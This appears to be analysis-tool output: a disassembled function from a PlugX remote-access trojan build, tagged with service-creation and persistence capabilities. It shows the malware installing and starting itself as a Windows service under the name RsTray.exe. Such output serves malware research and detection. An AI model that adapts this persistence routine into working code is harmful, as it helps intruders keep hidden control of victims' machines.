Function at 0x10007130
Capabilities:
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10008340
call fcn.100077c0
mov edi, eax
test edi, edi
je 0x10007165
push edi
mov edx, 0x7d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [0x1002d3d8], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
jne 0x100071ae
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x100071a7
mov dword [eax + 0x1990], 0
jmp 0x100071a9
xor eax, eax
mov dword [0x1002d3d8], eax
cmp word [0x10030354], 0
jne 0x10007208
push 0
mov edx, 0x38
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
cmp word [0x10030354], 0
jne 0x10007208
push 0
mov edx, 0x39
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
cmp word [0x10030354], 0
jne 0x10007208
push 0
mov edx, 0x3a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
mov edx, 0x10030354
lea ecx, [ebp - 0x14]
call fcn.1001b5b0
test eax, eax
je 0x1000722d
push 0
mov edx, 0x84
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
cdq
sub eax, edx
sar eax, 1
cmp word [ecx + eax*2 - 2], 0x5c
je 0x10007267
push 2
push 0x10028918
lea ecx, [ebp - 0x14]
call fcn.100066e0
test eax, eax
je 0x10007267
push 0
mov edx, 0xfc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
push str.RsTray.exe
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
lea ecx, [ebp - 0x14]
push eax
push str.RsTray.exe
call fcn.100066e0
test eax, eax
je 0x1000729a
push 0
mov edx, 0x89
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
jne 0x100072cf
push eax
mov edx, 0x91
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x100073d3
cmp dword [0x1002d3d8], 0
jne 0x100072fc
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x100072f5
mov dword [eax + 0x1990], 0
jmp 0x100072f7
xor eax, eax
mov dword [0x1002d3d8], eax
push 0xf01ff
push 0x10030554
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x100073ee
cmp dword [0x1002d3d8], eax
jne 0x10007366
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x10007338
mov dword [eax + 0x1990], esi
jmp 0x10007361
push 0x1994
mov dword [0x1002d3d8], 0
call fcn.1002422e
add esp, 4
test eax, eax
je 0x1000735f
mov dword [eax + 0x1990], 0
jmp 0x10007361
xor eax, eax
mov dword [0x1002d3d8], eax
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 8]
push 0
push 2
push 0x110
push 0xf01ff
push 0x10030754
push 0x10030554
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
test esi, esi
jne 0x100073ee
push eax
mov edx, 0xa5
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call esi
test eax, eax
jne 0x100073d3
push eax
mov edx, 0xd4
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x100073e5
push 1
push eax
call fcn.10027bcc
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x1002d3d8]
test eax, eax
jne 0x1000746b
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x10007414
mov dword [eax + 0x1990], 0
jmp 0x10007416
xor eax, eax
mov dword [0x1002d3d8], eax
test eax, eax
jne 0x1000746b
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x1000743c
mov dword [eax + 0x1990], 0
jmp 0x1000743e
xor eax, eax
mov dword [0x1002d3d8], eax
test eax, eax
jne 0x1000746b
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x10007464
mov dword [eax + 0x1990], 0
jmp 0x10007466
xor eax, eax
mov dword [0x1002d3d8], eax
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x10030754
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
test eax, eax
jne 0x10007496
push eax
mov edx, 0xb0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
cmp dword [0x1002d3d8], 0
jne 0x100074c3
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x100074bc
mov dword [eax + 0x1990], 0
jmp 0x100074be
xor eax, eax
mov dword [0x1002d3d8], eax
cmp dword [0x1002fa78], 0
jne 0x100074ee
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x100074ee
push eax
mov edx, 0xbc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
test esi, esi
je 0x100073b3
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
test eax, eax
jne 0x100073b9
push eax
mov edx, 0xcc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
jmp 0x100073b9